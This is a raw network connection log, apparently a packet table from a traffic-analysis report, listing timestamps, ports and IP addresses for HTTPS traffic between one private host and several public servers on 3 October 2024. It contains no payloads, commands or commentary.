Oct 3, 2024 18:18:20.711476088 CEST	443	49795	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:20.715707064 CEST	49795	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:20.715707064 CEST	49795	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:20.715751886 CEST	443	49795	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:20.727592945 CEST	49680	80	192.168.2.16	192.229.211.108
Oct 3, 2024 18:18:21.059767008 CEST	49678	443	192.168.2.16	20.189.173.10
Oct 3, 2024 18:18:21.176994085 CEST	443	49795	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:21.177444935 CEST	49795	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:21.177464008 CEST	443	49795	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:21.178931952 CEST	443	49795	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:21.179405928 CEST	49795	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:21.179405928 CEST	49795	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:21.179496050 CEST	443	49795	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:21.179646969 CEST	49795	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:21.219876051 CEST	49795	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:21.219890118 CEST	443	49795	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:21.267872095 CEST	49795	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:21.351252079 CEST	443	49795	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:21.351520061 CEST	443	49795	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:21.351608992 CEST	443	49795	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:21.351726055 CEST	443	49795	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:21.351723909 CEST	49795	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:21.351785898 CEST	443	49795	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:21.351907969 CEST	49795	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:21.351914883 CEST	443	49795	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:21.351990938 CEST	49795	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:21.352006912 CEST	443	49795	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:21.352067947 CEST	49795	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:21.352080107 CEST	443	49795	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:21.355964899 CEST	443	49795	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:21.356151104 CEST	49795	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:21.356163979 CEST	443	49795	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:21.395776033 CEST	49795	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:21.440887928 CEST	443	49795	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:21.441000938 CEST	443	49795	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:21.441200972 CEST	443	49795	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:21.441231966 CEST	49795	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:21.441526890 CEST	49795	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:21.441526890 CEST	49795	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:21.746912003 CEST	49795	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:21.746958971 CEST	443	49795	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:22.480050087 CEST	49673	443	192.168.2.16	204.79.197.203
Oct 3, 2024 18:18:23.861191034 CEST	443	49713	104.21.26.216	192.168.2.16
Oct 3, 2024 18:18:23.861370087 CEST	443	49713	104.21.26.216	192.168.2.16
Oct 3, 2024 18:18:23.861515045 CEST	49713	443	192.168.2.16	104.21.26.216
Oct 3, 2024 18:18:24.541524887 CEST	49713	443	192.168.2.16	104.21.26.216
Oct 3, 2024 18:18:24.541594028 CEST	443	49713	104.21.26.216	192.168.2.16
Oct 3, 2024 18:18:25.529939890 CEST	49680	80	192.168.2.16	192.229.211.108
Oct 3, 2024 18:18:30.672972918 CEST	49678	443	192.168.2.16	20.189.173.10
Oct 3, 2024 18:18:35.140818119 CEST	49680	80	192.168.2.16	192.229.211.108
Oct 3, 2024 18:18:54.179073095 CEST	49796	443	192.168.2.16	172.202.163.200
Oct 3, 2024 18:18:54.179166079 CEST	443	49796	172.202.163.200	192.168.2.16
Oct 3, 2024 18:18:54.179284096 CEST	49796	443	192.168.2.16	172.202.163.200
Oct 3, 2024 18:18:54.179770947 CEST	49796	443	192.168.2.16	172.202.163.200
Oct 3, 2024 18:18:54.179807901 CEST	443	49796	172.202.163.200	192.168.2.16
Oct 3, 2024 18:18:55.007509947 CEST	443	49796	172.202.163.200	192.168.2.16
Oct 3, 2024 18:18:55.007622004 CEST	49796	443	192.168.2.16	172.202.163.200
Oct 3, 2024 18:18:55.009490967 CEST	49796	443	192.168.2.16	172.202.163.200
Oct 3, 2024 18:18:55.009520054 CEST	443	49796	172.202.163.200	192.168.2.16
Oct 3, 2024 18:18:55.010026932 CEST	443	49796	172.202.163.200	192.168.2.16
Oct 3, 2024 18:18:55.011624098 CEST	49796	443	192.168.2.16	172.202.163.200
Oct 3, 2024 18:18:55.059444904 CEST	443	49796	172.202.163.200	192.168.2.16
Oct 3, 2024 18:18:55.279530048 CEST	443	49796	172.202.163.200	192.168.2.16
Oct 3, 2024 18:18:55.279656887 CEST	443	49796	172.202.163.200	192.168.2.16
Oct 3, 2024 18:18:55.279700041 CEST	443	49796	172.202.163.200	192.168.2.16
Oct 3, 2024 18:18:55.279762983 CEST	49796	443	192.168.2.16	172.202.163.200
Oct 3, 2024 18:18:55.279831886 CEST	443	49796	172.202.163.200	192.168.2.16
Oct 3, 2024 18:18:55.279870987 CEST	49796	443	192.168.2.16	172.202.163.200
Oct 3, 2024 18:18:55.279906034 CEST	49796	443	192.168.2.16	172.202.163.200
Oct 3, 2024 18:18:55.280162096 CEST	443	49796	172.202.163.200	192.168.2.16
Oct 3, 2024 18:18:55.280219078 CEST	443	49796	172.202.163.200	192.168.2.16
Oct 3, 2024 18:18:55.280242920 CEST	49796	443	192.168.2.16	172.202.163.200
Oct 3, 2024 18:18:55.280256033 CEST	443	49796	172.202.163.200	192.168.2.16
Oct 3, 2024 18:18:55.280287981 CEST	49796	443	192.168.2.16	172.202.163.200
Oct 3, 2024 18:18:55.280376911 CEST	443	49796	172.202.163.200	192.168.2.16
Oct 3, 2024 18:18:55.280441046 CEST	49796	443	192.168.2.16	172.202.163.200
Oct 3, 2024 18:18:55.282452106 CEST	49796	443	192.168.2.16	172.202.163.200
Oct 3, 2024 18:18:55.282488108 CEST	443	49796	172.202.163.200	192.168.2.16
Oct 3, 2024 18:18:55.282516003 CEST	49796	443	192.168.2.16	172.202.163.200
Oct 3, 2024 18:18:55.282530069 CEST	443	49796	172.202.163.200	192.168.2.16
Oct 3, 2024 18:19:09.078552008 CEST	49798	443	192.168.2.16	142.250.184.228
Oct 3, 2024 18:19:09.078620911 CEST	443	49798	142.250.184.228	192.168.2.16
Oct 3, 2024 18:19:09.078705072 CEST	49798	443	192.168.2.16	142.250.184.228
Oct 3, 2024 18:19:09.078970909 CEST	49798	443	192.168.2.16	142.250.184.228
Oct 3, 2024 18:19:09.078990936 CEST	443	49798	142.250.184.228	192.168.2.16
Oct 3, 2024 18:19:09.713898897 CEST	443	49798	142.250.184.228	192.168.2.16
Oct 3, 2024 18:19:09.714240074 CEST	49798	443	192.168.2.16	142.250.184.228
Oct 3, 2024 18:19:09.714265108 CEST	443	49798	142.250.184.228	192.168.2.16
Oct 3, 2024 18:19:09.715909958 CEST	443	49798	142.250.184.228	192.168.2.16
Oct 3, 2024 18:19:09.716296911 CEST	49798	443	192.168.2.16	142.250.184.228
Oct 3, 2024 18:19:09.716490984 CEST	443	49798	142.250.184.228	192.168.2.16
Oct 3, 2024 18:19:09.763871908 CEST	49798	443	192.168.2.16	142.250.184.228
Oct 3, 2024 18:19:19.848867893 CEST	443	49798	142.250.184.228	192.168.2.16
Oct 3, 2024 18:19:19.848954916 CEST	443	49798	142.250.184.228	192.168.2.16
Oct 3, 2024 18:19:19.849020004 CEST	49798	443	192.168.2.16	142.250.184.228
Oct 3, 2024 18:19:20.540669918 CEST	49798	443	192.168.2.16	142.250.184.228
Oct 3, 2024 18:19:20.540710926 CEST	443	49798	142.250.184.228	192.168.2.16
Oct 3, 2024 18:19:22.430212975 CEST	49799	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:22.430315018 CEST	443	49799	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:22.430418968 CEST	49799	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:22.430699110 CEST	49799	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:22.430733919 CEST	443	49799	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:22.930378914 CEST	443	49799	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:22.930691004 CEST	49799	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:22.930743933 CEST	443	49799	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:22.934714079 CEST	443	49799	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:22.934812069 CEST	49799	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:22.935077906 CEST	49799	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:22.935077906 CEST	49799	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:22.935127974 CEST	49799	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:22.935492039 CEST	49800	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:22.935579062 CEST	443	49799	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:22.935581923 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:22.935663939 CEST	49799	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:22.935715914 CEST	49800	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:22.935898066 CEST	49800	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:22.935933113 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.432018995 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.432384014 CEST	49800	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:23.432446957 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.433882952 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.433981895 CEST	49800	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:23.434339046 CEST	49800	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:23.434444904 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.434515953 CEST	49800	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:23.434534073 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.488832951 CEST	49800	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:23.569983006 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.570044994 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.570085049 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.570105076 CEST	49800	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:23.570122004 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.570137978 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.570167065 CEST	49800	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:23.570208073 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.570247889 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.570256948 CEST	49800	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:23.570271969 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.570316076 CEST	49800	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:23.570317030 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.570328951 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.570377111 CEST	49800	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:23.570394039 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.616019964 CEST	49800	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:23.616049051 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.661163092 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.661243916 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.661290884 CEST	49800	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:23.661324024 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.661372900 CEST	49800	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:23.661374092 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.661389112 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.661426067 CEST	49800	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:23.661433935 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.661607027 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.661643982 CEST	49800	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:23.661647081 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.661664009 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.661703110 CEST	49800	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:23.662009001 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.662592888 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.662637949 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.662643909 CEST	49800	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:23.662651062 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.662694931 CEST	49800	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:23.662852049 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.662921906 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.662969112 CEST	49800	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:23.662976027 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.663079977 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.663124084 CEST	49800	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:23.663130999 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.663736105 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.663791895 CEST	49800	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:23.663798094 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.663867950 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.663916111 CEST	49800	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:23.663923025 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.664732933 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.664794922 CEST	49800	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:23.664802074 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.710932970 CEST	49800	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:23.752624035 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.752695084 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.752732992 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.752756119 CEST	49800	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:23.752770901 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.752784967 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.752819061 CEST	49800	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:23.752857924 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.752892017 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.752959013 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.752969980 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.753001928 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.753078938 CEST	49800	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:23.753078938 CEST	49800	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:23.753078938 CEST	49800	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:23.753110886 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.754239082 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.754293919 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.754304886 CEST	49800	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:23.754333973 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.754354954 CEST	49800	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:23.754785061 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.754833937 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.754833937 CEST	49800	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:23.754849911 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.754909039 CEST	49800	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:23.755778074 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.755830050 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.755850077 CEST	49800	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:23.755856991 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.755902052 CEST	49800	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:23.755923986 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.755970955 CEST	49800	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:23.756206036 CEST	49800	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:23.756222010 CEST	443	49800	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.758493900 CEST	49801	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:23.758594990 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:23.758694887 CEST	49801	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:23.758893967 CEST	49801	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:23.758917093 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.257239103 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.257988930 CEST	49801	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:24.258059978 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.258776903 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.260010958 CEST	49801	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:24.260109901 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.260134935 CEST	49801	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:24.301964045 CEST	49801	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:24.302031040 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.415266991 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.415338039 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.415380955 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.415417910 CEST	49801	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:24.415446997 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.415491104 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.415525913 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.415586948 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.415616989 CEST	49801	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:24.415617943 CEST	49801	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:24.415640116 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.415680885 CEST	49801	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:24.416013002 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.416078091 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.416126013 CEST	49801	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:24.416131973 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.420123100 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.420186996 CEST	49801	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:24.420201063 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.460978031 CEST	49801	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:24.506164074 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.506340981 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.506421089 CEST	49801	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:24.506428957 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.506489038 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.506546021 CEST	49801	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:24.506563902 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.506625891 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.506673098 CEST	49801	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:24.506686926 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.506783009 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.506827116 CEST	49801	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:24.506843090 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.506947041 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.506994963 CEST	49801	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:24.507008076 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.507092953 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.507132053 CEST	49801	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:24.507145882 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.507949114 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.508021116 CEST	49801	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:24.508035898 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.508133888 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.508187056 CEST	49801	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:24.508199930 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.508827925 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.508919001 CEST	49801	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:24.508932114 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.509028912 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.509076118 CEST	49801	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:24.509090900 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.509289026 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.509340048 CEST	49801	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:24.509352922 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.556969881 CEST	49801	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:24.557003021 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.598750114 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.598845005 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.598861933 CEST	49801	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:24.598928928 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.598990917 CEST	49801	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:24.599009037 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.599137068 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.599159002 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.599196911 CEST	49801	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:24.599220037 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.599247932 CEST	49801	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:24.599263906 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.599329948 CEST	49801	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:24.599344969 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.599396944 CEST	49801	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:24.599407911 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.599476099 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.599531889 CEST	49801	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:24.599548101 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.599574089 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.599602938 CEST	49801	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:24.599616051 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.599643946 CEST	49801	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:24.599675894 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.599728107 CEST	49801	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:24.599740982 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.599778891 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.599788904 CEST	49801	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:24.599812984 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.599831104 CEST	49801	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:24.599911928 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.599966049 CEST	49801	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:24.599977970 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.600013018 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.600028992 CEST	49801	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:24.600042105 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.600086927 CEST	49801	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:24.600097895 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.600178957 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:24.600238085 CEST	49801	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:24.600290060 CEST	49801	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:24.600323915 CEST	443	49801	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:37.564677954 CEST	49803	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:37.564723015 CEST	443	49803	104.21.57.136	192.168.2.16
Oct 3, 2024 18:19:37.564814091 CEST	49803	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:19:37.565012932 CEST	49804	443	192.168.2.16	104.21.57.136
